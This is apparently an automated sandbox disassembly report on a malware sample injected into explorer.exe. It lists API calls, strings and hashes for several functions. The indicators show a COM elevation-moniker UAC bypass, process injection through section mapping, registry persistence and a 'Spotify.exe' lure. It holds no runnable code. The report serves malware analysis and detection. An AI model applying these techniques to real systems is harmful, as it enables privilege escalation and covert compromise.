{CBA71F71-923D-4984-871A-825467F689CB}, xrefs: 011A603D, 011A6065
#, xrefs: 011A645D
{86CA2FB5-8D14-4AB7-A21A-B94AA27996D1}, xrefs: 011A5B1D, 011A5B45
%s.DLL, xrefs: 011A6206
%s\%s.DLL, xrefs: 011A6426
%s.DLL, xrefs: 011A6493
{55D5946A-D46C-496A-8BBC-D8EBB9A0573D}, xrefs: 011A608F, 011A60B7
%s\%s.DLL, xrefs: 011A5C76
%s\%s.DLL, xrefs: 011A604E
{CD6CD427-F451-49BC-AC5F-8EF639C64D84}, xrefs: 011A60E1, 011A6109
%s.DLL, xrefs: 011A5FC8
{B03337F2-E002-4808-B68C-EFC2B3B7D965}, xrefs: 011A5EA3, 011A5ECB
%s\%s.DLL, xrefs: 011A5B2E
%s.DLL, xrefs: 011A5C42
%s\%s.DLL, xrefs: 011A6196
{59D2C462-5CE2-4677-901C-CF6D47F94E01}, xrefs: 011A5EF5, 011A5F1D
{0EFCC0CA-E494-495E-8BFA-3EB3121C6E0D}, xrefs: 011A6371, 011A6399
%s.DLL, xrefs: 011A5CE6
%s.DLL, xrefs: 011A62FC
%s.DLL, xrefs: 011A6110
%s.DLL, xrefs: 011A63F2
%s\%s.DLL, xrefs: 011A63D4
{7E4AF241-9188-44CB-AED1-67CE1C5CEEB4}, xrefs: 011A5D09, 011A5D31
{3ABDA021-5E41-4624-98B4-20ADDEEE7D16}, xrefs: 011A5FEB, 011A6013
%s\%s.DLL, xrefs: 011A628C
{94FB9D8F-CD00-49FB-90DB-319F100025FD}, xrefs: 011A627B, 011A62A3
%s.DLL, xrefs: 011A5F76
%s\%s.DLL, xrefs: 011A5F58
%s.DLL, xrefs: 011A606C
%s.DLL, xrefs: 011A5DDC
%s\%s.DLL, xrefs: 011A61E8
{D2513884-49A5-4BCA-820E-5E259340F793}, xrefs: 011A5C13, 011A5C3B
{46435729-DE34-4BF3-A07E-81990A717CAA}, xrefs: 011A5F47, 011A5F6F
{57B617B9-43BD-4946-B949-B1B194BB326C}, xrefs: 011A5DAD, 011A5DD5
%s\%s.DLL, xrefs: 011A5EB4
%s\%s.DLL, xrefs: 011A623A
%s.DLL, xrefs: 011A5E2E
%s\%s.DLL, xrefs: 011A6382
%s.DLL, xrefs: 011A6258
%s\%s.DLL, xrefs: 011A62DE
%s\%s.DLL, xrefs: 011A6475
%s.DLL, xrefs: 011A6444
%s\%s.DLL, xrefs: 011A6330
{2E8EFBDF-A02C-4179-863C-6A29FA78FF6A}, xrefs: 011A5F99, 011A5FC1
%s.DLL, xrefs: 011A5B9E
%s.DLL, xrefs: 011A5D8A
{5D9EC1ED-026C-4BA9-A823-A81E93CFDE64}, xrefs: 011A5E51, 011A5E79
{6A5EA296-14C9-4F73-8340-85FC05DB9D41}, xrefs: 011A6464, 011A648C

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$wnsprintf$Free$Alloc$FolderKnownPathTasklstrlen
String ID: #$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL$%s\%s.DLL${0EFCC0CA-E494-495E-8BFA-3EB3121C6E0D}${10BFE215-061D-40FD-8815-5C8F72644B28}${21A40B76-C3B4-4664-B31E-2DC0D0725B06}${2E8EFBDF-A02C-4179-863C-6A29FA78FF6A}${3ABDA021-5E41-4624-98B4-20ADDEEE7D16}${3D978FEE-C814-4C99-BF7F-2D6040603FEF}${46435729-DE34-4BF3-A07E-81990A717CAA}${51BDD1C4-FA3F-488D-BF83-3BBD8F08065E}${55D5946A-D46C-496A-8BBC-D8EBB9A0573D}${57B617B9-43BD-4946-B949-B1B194BB326C}${59D2C462-5CE2-4677-901C-CF6D47F94E01}${5D9EC1ED-026C-4BA9-A823-A81E93CFDE64}${6A5EA296-14C9-4F73-8340-85FC05DB9D41}${71AEF5B1-1CB5-4E55-A831-320B97C08AF7}${7E4AF241-9188-44CB-AED1-67CE1C5CEEB4}${86CA2FB5-8D14-4AB7-A21A-B94AA27996D1}${91A76877-BC0D-4C96-A5BB-E6DFBFDD6440}${94FB9D8F-CD00-49FB-90DB-319F100025FD}${A833ED33-AB79-42C4-8F18-2B6F78AB7B5D}${AD591F04-B13F-46DE-971E-91B85D0D809A}${B03337F2-E002-4808-B68C-EFC2B3B7D965}${C1BD1AD9-E7EB-479A-9986-4CCAEACD58B1}${CBA71F71-923D-4984-871A-825467F689CB}${CC9E0085-98A2-4541-ADA5-57C053963E95}${CD6CD427-F451-49BC-AC5F-8EF639C64D84}${D2513884-49A5-4BCA-820E-5E259340F793}${F7C89374-15C9-42DA-9AB6-6BF0F6C9A22F}${FAC8FDCC-9415-493E-AED0-258910F001AC}${FCDCDDD8-4368-4A5F-97C4-D82E725DF941}${FD6426E3-D0BC-4529-82F7-5F6E49413ADF}
API String ID: 1623426732-1736767971
Opcode ID: 6f979de90f3d0588231c6db74986d895f760c93b8a5441ed2a1cde6316bd014c
Instruction ID: 6b6dc6563322fdaa7ccc12889a577046e3dc9fa70e23f18b0b86deee6a48a332
Opcode Fuzzy Hash: 6f979de90f3d0588231c6db74986d895f760c93b8a5441ed2a1cde6316bd014c
Instruction Fuzzy Hash: C552B535518A9AD6EA189F55F8043DA6772F7C4B49F900136FB8E43A28EF3DC54ACB40

Function 011C1978 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 011C198D

Part of subcall function 011BC600: RtlFreeHeap.NTDLL(?,?,00000000,011BAD80,?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BC616
Part of subcall function 011BC600: _errno.LIBCMT ref: 011BC620
Part of subcall function 011BC600: GetLastError.KERNEL32(?,?,00000000,011BAD80,?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BC628

free.LIBCMT ref: 011C1996
free.LIBCMT ref: 011C199F
free.LIBCMT ref: 011C19A8
free.LIBCMT ref: 011C19B1
free.LIBCMT ref: 011C19BA
free.LIBCMT ref: 011C19C2
free.LIBCMT ref: 011C19CB
free.LIBCMT ref: 011C19D4
free.LIBCMT ref: 011C19DD
free.LIBCMT ref: 011C19E6
free.LIBCMT ref: 011C19EF
free.LIBCMT ref: 011C19F8
free.LIBCMT ref: 011C1A01
free.LIBCMT ref: 011C1A0A
free.LIBCMT ref: 011C1A13
free.LIBCMT ref: 011C1A1F
free.LIBCMT ref: 011C1A2B
free.LIBCMT ref: 011C1A37
free.LIBCMT ref: 011C1A43
free.LIBCMT ref: 011C1A4F
free.LIBCMT ref: 011C1A5B
free.LIBCMT ref: 011C1A67
free.LIBCMT ref: 011C1A73
free.LIBCMT ref: 011C1A7F
free.LIBCMT ref: 011C1A8B
free.LIBCMT ref: 011C1A97
free.LIBCMT ref: 011C1AA3
free.LIBCMT ref: 011C1AAF
free.LIBCMT ref: 011C1ABB
free.LIBCMT ref: 011C1AC7
free.LIBCMT ref: 011C1AD3
free.LIBCMT ref: 011C1ADF
free.LIBCMT ref: 011C1AEB
free.LIBCMT ref: 011C1AF7
free.LIBCMT ref: 011C1B03
free.LIBCMT ref: 011C1B0F
free.LIBCMT ref: 011C1B1B
free.LIBCMT ref: 011C1B27
free.LIBCMT ref: 011C1B33
free.LIBCMT ref: 011C1B3F
free.LIBCMT ref: 011C1B4B
free.LIBCMT ref: 011C1B57
free.LIBCMT ref: 011C1B63
free.LIBCMT ref: 011C1B6F
free.LIBCMT ref: 011C1B7B
free.LIBCMT ref: 011C1B87
free.LIBCMT ref: 011C1B93
free.LIBCMT ref: 011C1B9F
free.LIBCMT ref: 011C1BAB
free.LIBCMT ref: 011C1BB7
free.LIBCMT ref: 011C1BC3
free.LIBCMT ref: 011C1BCF
free.LIBCMT ref: 011C1BDB
free.LIBCMT ref: 011C1BE7
free.LIBCMT ref: 011C1BF3
free.LIBCMT ref: 011C1BFF
free.LIBCMT ref: 011C1C0B
free.LIBCMT ref: 011C1C17
free.LIBCMT ref: 011C1C23
free.LIBCMT ref: 011C1C2F
free.LIBCMT ref: 011C1C3B
free.LIBCMT ref: 011C1C47
free.LIBCMT ref: 011C1C53
free.LIBCMT ref: 011C1C5F
free.LIBCMT ref: 011C1C6B
free.LIBCMT ref: 011C1C77
free.LIBCMT ref: 011C1C83
free.LIBCMT ref: 011C1C8F
free.LIBCMT ref: 011C1C9B
free.LIBCMT ref: 011C1CA7
free.LIBCMT ref: 011C1CB3
free.LIBCMT ref: 011C1CBF
free.LIBCMT ref: 011C1CCB
free.LIBCMT ref: 011C1CD7
free.LIBCMT ref: 011C1CE3
free.LIBCMT ref: 011C1CEF
free.LIBCMT ref: 011C1CFB
free.LIBCMT ref: 011C1D07
free.LIBCMT ref: 011C1D13
free.LIBCMT ref: 011C1D1F
free.LIBCMT ref: 011C1D2B
free.LIBCMT ref: 011C1D37
free.LIBCMT ref: 011C1D43
free.LIBCMT ref: 011C1D4F
free.LIBCMT ref: 011C1D5B

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 4a89303ada8976f5ba6e723fc5dc129f4762e2132d56d8738a2842697157dd51
Instruction ID: 30a898c57f3ac471ac024d96893acae59e796766c49ffa3e7826eaa03875a352
Opcode Fuzzy Hash: 4a89303ada8976f5ba6e723fc5dc129f4762e2132d56d8738a2842697157dd51
Instruction Fuzzy Hash: 88815322A5154685DB49BF35C8F4BEE2331ABE8F4CF046132CA4DAB725CF21D84583D0

Function 011B64A0 Relevance: 72.2, APIs: 40, Strings: 1, Instructions: 439synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 011B6556
WaitForSingleObject.KERNEL32 ref: 011B65A5
WaitForSingleObject.KERNEL32 ref: 011B65E6
WaitForMultipleObjects.KERNEL32 ref: 011B6925
WaitForSingleObject.KERNEL32 ref: 011B6CB9
shutdown.WS2_32 ref: 011B6E2E
closesocket.WS2_32 ref: 011B6E44
CloseHandle.KERNEL32 ref: 011B6E81
shutdown.WS2_32 ref: 011B6EB8
closesocket.WS2_32 ref: 011B6EC6
LocalFree.KERNEL32 ref: 011B6EE0

Strings

8, xrefs: 011B66FB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Wait$ObjectSingle$closesocketshutdown$CloseFreeHandleLocalMultipleObjects
String ID: 8
API String ID: 3117981272-4194326291
Opcode ID: 5867b1f840c82ca0895774d01bb670b5c5b517109d049e330d4ccd184464ac88
Instruction ID: 1105049723ddb398698cc4bc6d343680c35633a69bb17ab9b63c3048700221ce
Opcode Fuzzy Hash: 5867b1f840c82ca0895774d01bb670b5c5b517109d049e330d4ccd184464ac88
Instruction Fuzzy Hash: 8732C632218B84C6E77ADB19E8883DAB360F7D8759F504229D6CA47B68DF7DC449CB01

Function 011911B0 Relevance: 66.7, APIs: 24, Strings: 14, Instructions: 176stringlibraryloaderCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 011911DF
GetWindowsDirectoryW.KERNEL32 ref: 01191218
CloseHandle.KERNEL32 ref: 0119157B

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

GetCurrentDirectoryW.KERNEL32 ref: 0119128D
LocalAlloc.KERNEL32 ref: 011912B1
GetModuleHandleW.KERNEL32 ref: 011912D5
GetProcAddress.KERNEL32 ref: 011912F2
GetProcAddress.KERNEL32 ref: 01191312
lstrcpyW.KERNEL32 ref: 0119133C
lstrcpyW.KERNEL32 ref: 0119135A
lstrcpyW.KERNEL32 ref: 01191379
lstrcpyW.KERNEL32 ref: 01191397
lstrcpyW.KERNEL32 ref: 011913B6
lstrcpyA.KERNEL32 ref: 011913D4
lstrcpyA.KERNEL32 ref: 011913F2
lstrcpyA.KERNEL32 ref: 01191410
lstrcpyA.KERNEL32 ref: 0119142E
lstrcpyW.KERNEL32 ref: 0119144A
lstrcpyW.KERNEL32 ref: 01191468

Part of subcall function 01197940: GetCurrentProcess.KERNEL32 ref: 0119795D
Part of subcall function 01197940: CreateProcessW.KERNEL32 ref: 01197A16
Part of subcall function 01197940: NtCreateSection.NTDLL ref: 01197A71
Part of subcall function 01197940: GetCurrentProcess.KERNEL32 ref: 01197AA7
Part of subcall function 01197940: NtMapViewOfSection.NTDLL ref: 01197AFA
Part of subcall function 01197940: NtMapViewOfSection.NTDLL ref: 01197B8F

WaitForSingleObject.KERNEL32 ref: 011914FD
TerminateProcess.KERNEL32 ref: 01191533
CloseHandle.KERNEL32 ref: 01191541
CloseHandle.KERNEL32 ref: 0119154F
LocalFree.KERNEL32 ref: 01191568

Strings

KERNEL32.DLL, xrefs: 01191332
{0F0641A2-3ABD-446F-81C5-65FC68B7C330}, xrefs: 011911CE
{6EDD6D74-C007-4E75-B76A-E5740995E24C}, xrefs: 01191440
Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 0119145E
ExitProcess, xrefs: 01191424
OLE32.DLL, xrefs: 01191350
{094CBDBD-CA58-4DF6-999A-7FCC415A528A}, xrefs: 0119138D
LoadLibraryW, xrefs: 011912E3
KERNEL32.DLL, xrefs: 011912CE
CoGetObject, xrefs: 011913CA
GetProcAddress, xrefs: 01191303
CoInitialize, xrefs: 011913E8
IIDFromString, xrefs: 01191406
%s\explorer.exe, xrefs: 01191249

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcpy$HandleProcess$CloseCreateCurrentSection$AddressDirectoryLocalProcView$AllocEventFreeModuleObjectSingleTerminateWaitWindows_errno_invalid_parameter_noinfo
String ID: %s\explorer.exe$CoGetObject$CoInitialize$Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}$ExitProcess$GetProcAddress$IIDFromString$KERNEL32.DLL$KERNEL32.DLL$LoadLibraryW$OLE32.DLL${094CBDBD-CA58-4DF6-999A-7FCC415A528A}${0F0641A2-3ABD-446F-81C5-65FC68B7C330}${6EDD6D74-C007-4E75-B76A-E5740995E24C}
API String ID: 3898657461-1743686038
Opcode ID: 152ebfc4296a29c18ab4aff8e275f54060d5db617d5b791674a1e49d8749346c
Instruction ID: 4d666e44946b276fe78250fecca0e864b47ec1624ad9551d807a28d7522cbdc9
Opcode Fuzzy Hash: 152ebfc4296a29c18ab4aff8e275f54060d5db617d5b791674a1e49d8749346c
Instruction Fuzzy Hash: 1EA12775205B8496EB68DF58F4883DAA3A2F7C4B94F404526DB8E43B68DF7DC069CB40

Function 01199FB0 Relevance: 50.9, APIs: 23, Strings: 6, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 0119A060
SetEvent.KERNEL32 ref: 0119A0CF
LocalAlloc.KERNEL32 ref: 0119A10A
wnsprintfW.SHLWAPI ref: 0119A14F
OpenEventW.KERNEL32 ref: 0119A179
SetEvent.KERNEL32 ref: 0119A19A
CloseHandle.KERNEL32 ref: 0119A1A8
LocalFree.KERNEL32 ref: 0119A1B6
LocalFree.KERNEL32 ref: 0119A1C4
shutdown.WS2_32 ref: 0119A1D4
closesocket.WS2_32 ref: 0119A1DF
LocalFree.KERNEL32 ref: 0119A364
LocalFree.KERNEL32 ref: 0119A372
shutdown.WS2_32 ref: 0119A382
closesocket.WS2_32 ref: 0119A38D

Part of subcall function 0119FBA0: CreateDirectoryW.KERNEL32 ref: 0119FBD8
Part of subcall function 0119FBA0: GetLastError.KERNEL32 ref: 0119FBE3
Part of subcall function 0119FBA0: LocalAlloc.KERNEL32 ref: 0119FBFE
Part of subcall function 0119FBA0: CreateFileW.KERNEL32 ref: 0119FC6E
Part of subcall function 0119FBA0: GetLastError.KERNEL32 ref: 0119FC79
Part of subcall function 0119FBA0: LocalFree.KERNEL32 ref: 0119FD16
Part of subcall function 0119FBA0: LocalFree.KERNEL32 ref: 0119FD21

Strings

%s%s, xrefs: 0119A13B
{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 0119A16B, 0119A2FD
Spotify.exe, xrefs: 0119A127, 0119A24F
h, xrefs: 0119A28F
"%s%s" %s, xrefs: 0119A263
{8BF89F76-FE32-4DAA-9B54-D6ACD7227894}, xrefs: 0119A243

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Event$AllocCreateErrorLastclosesocketshutdown$CloseDirectoryFileHandleOpensetsockoptwnsprintf
String ID: "%s%s" %s$%s%s$Spotify.exe$h${29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}${8BF89F76-FE32-4DAA-9B54-D6ACD7227894}
API String ID: 3165817228-2947109659
Opcode ID: 9bb3f62f99aaf1c74283b27014c8f82d3a511667c2aed13405528632937f526f
Instruction ID: c988d0fe171fd97e0490f86dfb59351dd7d251b408f647cb6e6f5fad6b9bb4c8
Opcode Fuzzy Hash: 9bb3f62f99aaf1c74283b27014c8f82d3a511667c2aed13405528632937f526f
Instruction Fuzzy Hash: 3291C636108B8586EB789F15F8543DAB7A0F788758F504126EB9E47B68DF7CC189CB40

Function 011A51A0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 344registryfilememoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 011A5224
RegCreateKeyExW.ADVAPI32 ref: 011A5371
LocalAlloc.KERNEL32 ref: 011A5430
_LDint.LIBCPMTD ref: 011A559C
_LDint.LIBCPMTD ref: 011A55D1
CreateFileW.KERNEL32 ref: 011A5634
WriteFile.KERNEL32 ref: 011A567A
RegCloseKey.ADVAPI32 ref: 011A5923
LocalFree.KERNEL32 ref: 011A593C
LocalFree.KERNEL32 ref: 011A5955
LocalFree.KERNEL32 ref: 011A596E

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

shutdown.WS2_32 ref: 011A5995
closesocket.WS2_32 ref: 011A59A0

Part of subcall function 011B4DC0: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B4DFF

Part of subcall function 011B4870: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B48AF

Strings

SOFTWARE\%s, xrefs: 011A5314
{A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}, xrefs: 011A530D
?, xrefs: 011A534C

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: LocalTimer$Free$ChangeConcurrency::details::platform::__CreateDintFileQueue$AllocCloseWrite_errno_invalid_parameter_noinfoclosesocketsetsockoptshutdown
String ID: ?$SOFTWARE\%s${A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}
API String ID: 2583228562-3633698240
Opcode ID: 20311bd9fb185f7ad2a093369a74a139bfd9499374340ceb26e1eea1a4b5f445
Instruction ID: c4c41b2f93f0d7be9264c3ed6f02b288219334c3938d5743e79d5fc3fcb2cb51
Opcode Fuzzy Hash: 20311bd9fb185f7ad2a093369a74a139bfd9499374340ceb26e1eea1a4b5f445
Instruction Fuzzy Hash: AD12173621CBC0C6D7B99B15E4443DAB7A5F389764F804226D6ED87B98DF78C189CB01

Function 011A4B80 Relevance: 49.2, APIs: 18, Strings: 10, Instructions: 242registryfileCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 011A4C04
StrStrIW.SHLWAPI ref: 011A4E8C
DeleteFileW.KERNEL32 ref: 011A4EBA
LocalFree.KERNEL32 ref: 011A4EDD
LocalFree.KERNEL32 ref: 011A4EEB
RegDeleteKeyExW.ADVAPI32 ref: 011A4F40

Part of subcall function 011A5AA0: LocalAlloc.KERNEL32 ref: 011A5ADE
Part of subcall function 011A5AA0: LocalAlloc.KERNEL32 ref: 011A5AFF
Part of subcall function 011A5AA0: wnsprintfW.SHLWAPI ref: 011A5B3F
Part of subcall function 011A5AA0: wnsprintfW.SHLWAPI ref: 011A5B5D
Part of subcall function 011A5AA0: LocalFree.KERNEL32 ref: 011A64D6

StrStrIW.SHLWAPI ref: 011A4FA2
DeleteFileW.KERNEL32 ref: 011A4FD0
LocalFree.KERNEL32 ref: 011A4FF3
LocalFree.KERNEL32 ref: 011A5001
StrStrIW.SHLWAPI ref: 011A503B
RegOpenKeyExW.ADVAPI32 ref: 011A50C8
RegDeleteValueW.ADVAPI32 ref: 011A50E2
RegCloseKey.ADVAPI32 ref: 011A5104
LocalFree.KERNEL32 ref: 011A5112
LocalFree.KERNEL32 ref: 011A5120
shutdown.WS2_32 ref: 011A5179
closesocket.WS2_32 ref: 011A5184

Part of subcall function 011B4DC0: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B4DFF

Part of subcall function 011B4870: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B48AF

Strings

{A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}, xrefs: 011A4F08, 011A5083
.DLL, xrefs: 011A502C
.DLL, xrefs: 011A4E7D
SOFTWARE\%s, xrefs: 011A4F0F
#, xrefs: 011A4E02
.DLL, xrefs: 011A4F93
SOFTWARE\%s, xrefs: 011A508A
", xrefs: 011A4DF7
, xrefs: 011A4DE1
!, xrefs: 011A4DEC

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$DeleteTimer$AllocChangeConcurrency::details::platform::__FileQueuewnsprintf$CloseOpenValueclosesocketsetsockoptshutdown
String ID: $!$"$#$.DLL$.DLL$.DLL$SOFTWARE\%s$SOFTWARE\%s${A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}
API String ID: 1601551040-1569939418
Opcode ID: e79f0dd00376b003c735c67edfd53d585d1f39080c862a119f6a1facfcbffdb6
Instruction ID: c3f87969268c79b1377a55450f809d6ac5843df4801cc0109ecd9260bb033cb1
